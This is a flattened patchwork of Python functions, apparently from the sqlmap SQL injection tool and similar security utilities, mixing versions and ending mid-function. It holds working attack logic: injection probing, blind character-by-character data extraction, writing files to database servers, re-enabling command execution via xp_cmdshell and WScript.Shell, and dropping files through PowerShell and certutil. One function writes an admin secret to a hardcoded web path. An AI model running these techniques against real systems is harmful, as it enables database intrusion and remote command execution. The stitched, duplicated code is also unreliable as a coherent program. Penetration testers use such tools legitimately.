def heuristicCheckSqlInjection(place, parameter, value): if kb.nullConnection: debugMsg = "heuristic checking skipped " debugMsg += "because NULL connection used" logger.debug(debugMsg) return prefix = "" suffix = "" if conf.prefix or conf.suffix: if conf.prefix: prefix = conf.prefix if conf.suffix: suffix = conf.suffix payload = "%s%s%s%s" % (value, prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix) payload = agent.payload(place, parameter, value, payload) Request.queryPage(payload, place, raise404=False) result = wasLastRequestDBMSError() infoMsg = "heuristics shows that %s " % place infoMsg += "parameter '%s' might " % parameter if result: infoMsg += "be injectable (possible DBMS: %s)" % (kb.htmlFp[-1] if kb.htmlFp else 'Unknown') logger.info(infoMsg) else: infoMsg += "not be injectable" logger.warning(infoMsg)
def setHandler(): """ Detect which is the target web application back-end database management system. """ count = 0 dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server" ) dbmsMap = ( ( MYSQL_ALIASES, MySQLMap ), ( ORACLE_ALIASES, OracleMap ), ( PGSQL_ALIASES, PostgreSQLMap ), ( MSSQL_ALIASES, MSSQLServerMap ), ) for dbmsAliases, dbmsEntry in dbmsMap: if conf.dbms and conf.dbms not in dbmsAliases: debugMsg = "skipping test for %s" % dbmsNames[count] logger.debug(debugMsg) count += 1 continue dbmsHandler = dbmsEntry() if dbmsHandler.checkDbms(): if not conf.dbms or conf.dbms in dbmsAliases: kb.dbmsDetected = True return dbmsHandler return None
def __urllib2Opener(): """ This function creates the urllib2 OpenerDirector. """ global authHandler global keepAliveHandler global proxyHandler global rangeHandler global redirectHandler debugMsg = "creating HTTP requests opener object" logger.debug(debugMsg) handlers = [proxyHandler, authHandler, redirectHandler, rangeHandler] if not conf.dropSetCookie: conf.cj = cookielib.LWPCookieJar() handlers.append(urllib2.HTTPCookieProcessor(conf.cj)) # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html if conf.keepAlive: if conf.proxy: warnMsg = "persistent HTTP(s) connections, Keep-Alive, has " warnMsg += "been disabled because of it's incompatibility " warnMsg += "with HTTP(s) proxy" logger.warn(warnMsg) else: handlers.append(keepAliveHandler) opener = urllib2.build_opener(*handlers) urllib2.install_opener(opener)
def _createRemoteBatchFile(self): logger.debug("creating batch file '%s'" % self._batPathRemote) self._createLocalBatchFile() self.writeFile(self._batPathLocal, self._batPathRemote, "text", forceCheck=True) os.unlink(self._batPathLocal)
def __setHTTPUserAgent(): """ Set the HTTP User-Agent header. Depending on the user options it can be: * The default sqlmap string * A default value read as user option * A random value read from a list of User-Agent headers from a file choosed as user option """ if conf.agent: debugMsg = "setting the HTTP User-Agent header" logger.debug(debugMsg) conf.httpHeaders.append(("User-Agent", conf.agent)) return if not conf.userAgentsFile: addDefaultUserAgent = True for header, _ in conf.httpHeaders: if header == "User-Agent": addDefaultUserAgent = False break if addDefaultUserAgent: conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent())) return if not kb.userAgents: debugMsg = "loading random HTTP User-Agent header(s) from " debugMsg += "file '%s'" % conf.userAgentsFile logger.debug(debugMsg) try: kb.userAgents = getFileItems(conf.userAgentsFile) except IOError: warnMsg = "unable to read HTTP User-Agent header " warnMsg += "file '%s'" % conf.userAgentsFile logger.warn(warnMsg) conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent())) return __count = len(kb.userAgents) if __count == 1: __userAgent = kb.userAgents[0] else: __userAgent = kb.userAgents[randomRange(stop=__count-1)] __userAgent = sanitizeStr(__userAgent) conf.httpHeaders.append(("User-Agent", __userAgent)) logMsg = "fetched random HTTP User-Agent header from " logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent) logger.info(logMsg)
def configFileProxy(section, option, boolean=False, integer=False): """ Parse configuration file and save settings into the configuration advanced dictionary. """ global config if config.has_option(section, option): if boolean: value = config.getboolean(section, option) elif integer: value = config.getint(section, option) else: value = config.get(section, option) if value: conf[option] = value else: conf[option] = None else: debugMsg = "missing requested option '%s' (section " % option debugMsg += "'%s') into the configuration file, " % section debugMsg += "ignoring. Skipping to next." logger.debug(debugMsg)
def __setDBMS(): """ Force the back-end DBMS option. """ if not conf.dbms: return debugMsg = "forcing back-end DBMS to user defined value" logger.debug(debugMsg) conf.dbms = conf.dbms.lower() firstRegExp = "(%s)" % "|".join([alias for alias in SUPPORTED_DBMS]) dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms) if dbmsRegExp: conf.dbms = dbmsRegExp.group(1) kb.dbmsVersion = [ dbmsRegExp.group(2) ] if conf.dbms not in SUPPORTED_DBMS: errMsg = "you provided an unsupported back-end database management " errMsg += "system. The supported DBMS are MySQL, PostgreSQL, " errMsg += "Microsoft SQL Server and Oracle. If you do not know " errMsg += "the back-end DBMS, do not provide it and sqlmap will " errMsg += "fingerprint it for you." raise sqlmapUnsupportedDBMSException, errMsg
def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): logger.debug("encoding file to its hexadecimal string value") fcEncodedList = self.fileEncode(wFile, "hex", True) fcEncodedStr = fcEncodedList[0] fcEncodedStrLen = len(fcEncodedStr) if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: warnMsg = "the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " warnMsg += "writing process" logger.warn(warnMsg) debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) logger.debug(debugMsg) pushValue(kb.forceWhere) kb.forceWhere = PAYLOAD.WHERE.NEGATIVE sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile) unionUse(sqlQuery, unpack=False) kb.forceWhere = popValue() warnMsg = "expect junk characters inside the " warnMsg += "file as a leftover from UNION query" singleTimeWarnMessage(warnMsg) return self.askCheckWrittenFile(wFile, dFile, forceCheck)
def readInput(message, default=None): """ @param message: message to display on terminal. @type message: C{str} @return: a string read from keyboard as input. @rtype: C{str} """ if "\n" in message: message += "\n> " elif message[-1] == ']': message += " " if conf.batch and default: infoMsg = "%s%s" % (message, getUnicode(default)) logger.info(infoMsg) debugMsg = "used the default behaviour, running in batch mode" logger.debug(debugMsg) data = default else: data = raw_input(message.encode(sys.stdout.encoding)) if not data: data = default return data
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): written = False self.checkDbmsOs() if localFile.endswith('_'): localFile = decloakToTemp(localFile) if conf.direct or isStackingAvailable(): if isStackingAvailable(): debugMsg = "going to upload the %s file with " % fileType debugMsg += "stacked query SQL injection technique" logger.debug(debugMsg) written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck) self.cleanup(onlyFileTbl=True) elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL): debugMsg = "going to upload the %s file with " % fileType debugMsg += "UNION query SQL injection technique" logger.debug(debugMsg) written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck) else: errMsg = "none of the SQL injection techniques detected can " errMsg += "be used to write files to the underlying file " errMsg += "system of the back-end %s server" % Backend.getDbms() logger.error(errMsg) return None return written
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): debugMsg = "creating a support table to write the hexadecimal " debugMsg += "encoded file to" logger.debug(debugMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longblob") logger.debug("encoding file to its hexadecimal string value") fcEncodedList = self.fileEncode(wFile, "hex", False) debugMsg = "forging SQL statements to write the hexadecimal " debugMsg += "encoded file to the support table" logger.debug(debugMsg) sqlQueries = self.fileToSqlQueries(fcEncodedList) logger.debug("inserting the hexadecimal encoded file to the support table") for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) logger.debug(debugMsg) # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True) return self.askCheckWrittenFile(wFile, dFile, forceCheck)
def _set_conf_attrs(): """ This function set some needed attributes into the configuration singleton. """ debug_msg = "initializing the configuration" logger.debug(debug_msg)
def _set_kb_attrs(flush_all=True): """ This function set some needed attributes into the knowledge base singleton. """ debug_msg = "initializing the knowledge base" logger.debug(debug_msg) kb.apk = AttribDict() kb.apk.md5 = None kb.apk.file_size = None kb.apk.display_perm = [] kb.apk.providers = [] kb.apk.receivers = [] kb.apk.services = [] kb.apk.activities = [] kb.apk.actions = [] kb.apk.manifest = None if flush_all: kb.cache = AttribDict() kb.cache.regex = {} kb.cache.files = {} kb.targets = set() kb.heartbeat = None kb.storage = None kb.plugins = AttribDict() kb.plugins.handle = []
def __xpCmdshellCreate(self): cmd = "" if Backend.isVersionWithin(("2005", "2008")): logger.debug("activating sp_OACreate") cmd += "EXEC master..sp_configure 'show advanced options', 1; " cmd += "RECONFIGURE WITH OVERRIDE; " cmd += "EXEC master..sp_configure 'ole automation procedures', 1; " cmd += "RECONFIGURE WITH OVERRIDE; " inject.goStacked(cmd) self.__randStr = randomStr(lowercase=True) cmd += "DECLARE @%s nvarchar(999); " % self.__randStr cmd += "set @%s='" % self.__randStr cmd += "CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int " cmd += "EXEC sp_OACreate ''WScript.Shell'', @ID OUT " cmd += "EXEC sp_OAMethod @ID, ''Run'', Null, @cmd, 0, 1 " cmd += "EXEC sp_OADestroy @ID'; " cmd += "EXEC master..sp_executesql @%s;" % self.__randStr if Backend.isVersionWithin(("2005", "2008")): cmd += " RECONFIGURE WITH OVERRIDE;" inject.goStacked(cmd)
def _merge_options(input_options, override_options): """ Merge command line options with configuration file and default options. @param inputOptions: optparse object with command line options. """ if input_options.config_file: debug_msg = "load config file: %s" %input_options.config_file logger.debug(debug_msg) config_file_parser(input_options.config_file, override_options=True) if hasattr(input_options, "items"): input_options_items = input_options.items() else: input_options_items = input_options.__dict__.items() for key, value in input_options_items: if key not in conf or value not in (None, False) or override_options: if key == 'plugins' and value: value = value.split(',') value = [i.strip() for i in value] for i in value: conf[i]['enable'] = True else: conf[key] = value if conf.jad: conf.dex2jar = True
def scan_log_limited(taskid, start, end): """ Retrieve a subset of log messages """ json_log_messages = list() if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_log_limited()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) if not start.isdigit() or not end.isdigit() or end < start: logger.warning("[%s] Invalid start or end value provided to scan_log_limited()" % taskid) return jsonize({"success": False, "message": "Invalid start or end value, must be digits"}) start = max(1, int(start)) end = max(1, int(end)) # Read a subset of log messages from the IPC database for time_, level, message in DataStore.current_db.execute( ("SELECT time, level, message FROM logs WHERE " "taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC"), (taskid, start, end)): json_log_messages.append({"time": time_, "level": level, "message": message}) logger.debug("[%s] Retrieved scan log messages subset" % taskid) return jsonize({"success": True, "log": json_log_messages})
def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER): """ REST-JSON API server """ DataStore.admin_id = hexencode(os.urandom(16)) Database.filepath = tempfile.mkstemp(prefix="sqlmapipc-", text=False)[1] #make adminid to known this is safe because api only avalible to local file_object = open('/www/xseclab.com/termite/.sqlmapadminid', 'w') file_object.write(DataStore.admin_id) file_object.close( ) logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port)) logger.info("Admin ID: %s" % DataStore.admin_id) logger.debug("IPC database: %s" % Database.filepath) # Initialize IPC database DataStore.current_db = Database() DataStore.current_db.connect() DataStore.current_db.init() # Run RESTful API try: if adapter == "gevent": from gevent import monkey monkey.patch_all() elif adapter == "eventlet": import eventlet eventlet.monkey_patch() logger.debug("Using adapter '%s' to run bottle" % adapter) run(host=host, port=port, quiet=True, debug=False, server=adapter) except socket.error, ex: if "already in use" in getSafeExString(ex): logger.error("Address already in use ('%s:%s')" % (host, port)) else: raise
def linesTerminatedWriteFile(self, wFile, dFile, fileType, forceCheck=False): logger.debug("encoding file to its hexadecimal string value") fcEncodedList = self.fileEncode(wFile, "hex", True) fcEncodedStr = fcEncodedList[0][2:] fcEncodedStrLen = len(fcEncodedStr) if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: warnMsg = "the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " warnMsg += "writing process" logger.warn(warnMsg) debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) logger.debug(debugMsg) query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=dFile, HEXSTRING=fcEncodedStr) query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) payload = agent.payload(newValue=query) Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) warnMsg = "expect junk characters inside the " warnMsg += "file as a leftover from original query" singleTimeWarnMessage(warnMsg) return self.askCheckWrittenFile(wFile, dFile, forceCheck)
def scan_data(taskid): """ Retrieve the data of a scan """ json_data_message = list() json_errors_message = list() if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_data()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) # Read all data from the IPC database for the taskid for status, content_type, value in DataStore.current_db.execute( "SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_data_message.append( {"status": status, "type": content_type, "value": dejsonize(value)}) # Read all error messages from the IPC database for error in DataStore.current_db.execute( "SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_errors_message.append(error) logger.debug("[%s] Retrieved scan data and error messages" % taskid) return jsonize({"success": True, "data": json_data_message, "error": json_errors_message})
def __createRemoteBatchFile(self): logger.debug("creating batch file '%s'" % self.__batPathRemote) self.__createLocalBatchFile() self.writeFile(self.__batPathLocal, self.__batPathRemote, "text", False) os.unlink(self.__batPathLocal)
def connect(self): def create_sock(): sock = socket.create_connection((self.host, self.port), self.timeout) if getattr(self, "_tunnel_host", None): self.sock = sock self._tunnel() return sock success = False # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) != False and hasattr(ssl, "SSLContext"): for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols): try: sock = create_sock() context = ssl.SSLContext(protocol) _ = context.wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host) if _: success = True self.sock = _ _protocols.remove(protocol) _protocols.insert(0, protocol) break else: sock.close() except (ssl.SSLError, socket.error, httplib.BadStatusLine), ex: self._tunnel_host = None logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex)) if kb.tlsSNI.get(self.host) is None: kb.tlsSNI[self.host] = success
def crawlThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: if threadData.shared.unprocessed: current = threadData.shared.unprocessed.pop() if current in visited: continue elif conf.crawlExclude and re.search(conf.crawlExclude, current): dbgMsg = "skipping '%s'" % current logger.debug(dbgMsg) continue else: visited.add(current) else: break content = None try: if current: content = Request.getPage(url=current, crawling=True, raise404=False)[0] except SqlmapConnectionException, ex: errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(ex) errMsg += "URL '%s'" % current logger.critical(errMsg)
def __stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType): infoMsg = "using PowerShell to write the %s file content " % fileType infoMsg += "to file '%s', please wait.." % dFile logger.info(infoMsg) randFile = "tmpf%s.txt" % randomStr(lowercase=True) randFilePath = "%s\%s" % (tmpPath, randFile) encodedFileContent = hexencode(wFileContent) # TODO: need to be fixed psString = "$s = gc '%s';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %%{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('%s',$b)" % (randFilePath, dFile) psString = psString.encode('utf-16le') psString = psString.encode("base64")[:-1].replace("\n", "") logger.debug("uploading the file hex-encoded content to %s, please wait.." % randFilePath) self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile) logger.debug("converting the file utilizing PowerShell EncodedCommand") commands = ( "cd %s" % tmpPath, "powershell -EncodedCommand %s" % psString, "del /F /Q %s" % randFilePath ) complComm = " & ".join(command for command in commands) self.execCmd(complComm)
def _setHTTPUserAgent(): """ @function Set the HTTP User-Agent header. """ if conf.agent: debugMsg = "setting the HTTP User-Agent header" logger.debug(debugMsg) conf.httpHeaders[HTTP_HEADER.USER_AGENT] = conf.agent if conf.randomAgent: infoMsg = "loading random HTTP User-Agent header(s) from " infoMsg += "file '%s'" % paths.USER_AGENTS logger.log(CUSTOM_LOGGING.SYSINFO, infoMsg) try: userAgents = getFileItems(paths.USER_AGENTS) except IOError: warnMsg = "unable to read HTTP User-Agent header " warnMsg += "file '%s'" % paths.USER_AGENTS logger.log(CUSTOM_LOGGING.WARNING, warnMsg) return userAgent = random.sample(userAgents, 1) infoMsg = "fetched random HTTP User-Agent header from " infoMsg += "file '%s': '%s'" % (paths.USER_AGENTS, userAgent) logger.log(CUSTOM_LOGGING.SYSINFO, infoMsg) conf.httpHeaders[HTTP_HEADER.USER_AGENT] = userAgent
def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, fileType): infoMsg = "using certutil.exe to write the %s " % fileType infoMsg += "file content to file '%s', please wait.." % dFile logger.info(infoMsg) chunkMaxSize = 500 randFile = "tmpf%s.txt" % randomStr(lowercase=True) randFilePath = "%s\%s" % (tmpPath, randFile) encodedFileContent = base64encode(wFileContent) splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i+chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)]) logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) self.xpCmdshellWriteFile(splittedEncodedFileContent, tmpPath, randFile) logger.debug("decoding the file to %s.." % dFile) commands = ("cd \"%s\"" % tmpPath, "certutil -f -decode %s %s" % (randFile, dFile), "del /F /Q %s" % randFile) complComm = " & ".join(command for command in commands) self.execCmd(complComm)
def scan_start(taskid): """ Launch a scan """ global tasks if taskid not in tasks: abort(500, "Invalid task ID") # Initialize sqlmap engine's options with user's provided options # within the JSON request for key, value in request.json.items(): tasks[taskid][key] = value # Overwrite output directory (oDir) value to a temporary directory tasks[taskid].oDir = tempfile.mkdtemp(prefix="sqlmap-") # Launch sqlmap engine in a separate thread logger.debug("starting a scan for task ID %s" % taskid) if _multiprocessing: #_multiprocessing.log_to_stderr(logging.DEBUG) p = _multiprocessing.Process(name=taskid, target=start_scan) p.daemon = True p.start() p.join() return jsonize({"success": True})
def pack(self, srcFile, dstFile=None): self.__initialize(srcFile, dstFile) logger.debug("executing local command: %s" % self.__upxCmd) process = execute(self.__upxCmd, shell=True, stdout=PIPE, stderr=STDOUT) dataToStdout("\r[%s] [INFO] compression in progress " % time.strftime("%X")) pollProcess(process) upxStdout, upxStderr = process.communicate() if hasattr(self, '__upxTempExe'): os.remove(self.__upxTempExe.name) msg = "failed to compress the file" if "NotCompressibleException" in upxStdout: msg += " because you provided a Metasploit version above " msg += "3.3-dev revision 6681. This will not inficiate " msg += "the correct execution of sqlmap. It might " msg += "only slow down a bit the execution" logger.debug(msg) elif upxStderr: logger.warn(msg) else: return os.path.getsize(srcFile) return None
def queryOutputLength(expression, payload): """ Returns the query output length. """ lengthQuery = queries[kb.dbms].length.query select = re.search("\ASELECT\s+", expression, re.I) selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I) selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I) selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I) miscExpr = re.search("\A(.+)", expression, re.I) if selectTopExpr or selectDistinctExpr or selectFromExpr or selectExpr: if selectTopExpr: regExpr = selectTopExpr.groups()[0] elif selectDistinctExpr: regExpr = selectDistinctExpr.groups()[0] elif selectFromExpr: regExpr = selectFromExpr.groups()[0] elif selectExpr: regExpr = selectExpr.groups()[0] elif miscExpr: regExpr = miscExpr.groups()[0] if (select and re.search("\A(COUNT|LTRIM)\(", regExpr, re.I)) or len(regExpr) <= 1: return None, None, None if selectDistinctExpr: lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % regExpr, expression) if kb.dbms in (DBMS.MYSQL, DBMS.POSTGRESQL): lengthExpr += " AS %s" % randomStr(lowercase=True) elif select: lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1) else: lengthExpr = lengthQuery % expression infoMsg = "retrieving the length of query output" logger.info(infoMsg) output = resume(lengthExpr, payload) if output: return 0, output, regExpr dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], lengthExpr)) start = time.time() lengthExprUnescaped = unescaper.unescape(lengthExpr) count, length = bisection(payload, lengthExprUnescaped, charsetType=2) debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) if length == " ": length = 0 return count, length, regExpr
def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False, field=None): start = time.time() value = None count = 0 value = _goDns(payload, expression) if value: return value timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) if not (timeBasedCompare and kb.dnsTest): if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search("(COUNT|LTRIM)\(", expression, re.I) and not timeBasedCompare: if field and conf.hexConvert: nulledCastedField = agent.nullAndCastField(field) injExpression = expression.replace(field, nulledCastedField, 1) else: injExpression = expression length = queryOutputLength(injExpression, payload) else: length = None kb.inferenceMode = True count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump) kb.inferenceMode = False if not kb.bruteMode: debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) return value
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False): start = time.time() value = None count = 0 value = __goDns(payload, expression) if value is None: timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) if not (timeBasedCompare and kb.dnsTest): if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not timeBasedCompare: _, length, _ = queryOutputLength(expression, payload) else: length = None kb.inferenceMode = True count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump) kb.inferenceMode = False if not kb.bruteMode: debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) return value
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(asciiTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 5, 4] if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl: charTbl.remove(ord('\n')) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] while len(charTbl) != 1: position = (len(charTbl) >> 1) posValue = charTbl[position] if CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat( payload, (expressionUnescaped, idx, posValue)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape( "'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat( payload, (expressionUnescaped, idx)).replace( markingValue, unescapedCharValue) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange( maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or ( retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if timeBasedCompare and not validateChar( idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec kb.timeValidCharsRun = 0 if (conf.timeSec - kb.originalTimeDelay ) < MAX_TIME_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s " % ( conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode( retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: kb.timeValidCharsRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if minValue == maxChar or maxValue == minChar: return None # If we are working with non-continuous elements, set # both minValue and character afterwards are possible # candidates for retVal in ( originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]): forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) result = Request.queryPage( forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(retVal) return None
def _module_register(self, input_module): _len = len(paths.ROOT_PATH) + 1 if not input_module: msg = 'Use -m to load module. Example: [-m test] or [-m ./script/test.py] or [-m @thinkphp], and you can see all module name by --show.' sys.exit(logger.error(msg)) modules = [] # -m * if input_module == '*': for parent, dirnames, filenames in os.walk(paths.SCRIPT_PATH, followlinks=True): if len(filenames) == 0: msg = 'Module [%s] is null.' % paths.SCRIPT_PATH logger.error(msg) for each in filenames: if '__init__' in each or each.startswith('.'): continue file_path = os.path.join(parent, each) modules.append('.'.join( re.split('[\\\\/]', file_path[_len:-3]))) else: # -m test,./script/test.py,@www for _module in input_module.split(','): # @www if _module.startswith("@"): if _module[1:] == 'special': _path = os.path.join(paths.SPECIAL_SCRIPT_PATH, _module[1:], '*.py') else: _path = os.path.join(paths.SCRIPT_PATH, _module[1:], '*.py') module_name_list = glob.glob(_path) if len(module_name_list) == 0: msg = 'Module is not exist: %s (%s)' % (_module, _path) logger.error(msg) else: for each in module_name_list: if '__init__' in each: continue modules.append('.'.join( re.split('[\\\\/]', each[_len:-3]))) else: if not _module.endswith('.py'): _module += '.py' # handle input: "-m ./script/test.py" if os.path.split(_module)[0]: _path = os.path.abspath( os.path.join(paths.ROOT_PATH, _module)) # handle input: "-m test" "-m test.py" else: _path = os.path.abspath( os.path.join(paths.SCRIPT_PATH, _module)) if os.path.isfile(_path): modules.append('.'.join( re.split('[\\\\/]', _path[_len:-3]))) else: msg = 'Module is\'t exist: %s (%s)' % (_module, _path) logger.error(msg) self.modules_name = modules logger.debug("Set module: %s" % input_module) return self.modules_name
def connect(self): def create_sock(): sock = socket.create_connection((self.host, self.port), self.timeout) if getattr(self, "_tunnel_host", None): self.sock = sock self._tunnel() return sock success = False # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get( self.host) is not False and hasattr(ssl, "SSLContext"): for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]: try: sock = create_sock() context = ssl.SSLContext(protocol) _ = context.wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host) if _: success = True self.sock = _ _protocols.remove(protocol) _protocols.insert(0, protocol) break else: sock.close() except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex: self._tunnel_host = None logger.debug( "SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) if kb.tlsSNI.get(self.host) is None: kb.tlsSNI[self.host] = success if not success: for protocol in _protocols: try: sock = create_sock() _ = ssl.wrap_socket(sock, self.key_file, self.cert_file, ssl_version=protocol) if _: success = True self.sock = _ _protocols.remove(protocol) _protocols.insert(0, protocol) break else: sock.close() except (ssl.SSLError, socket.error, 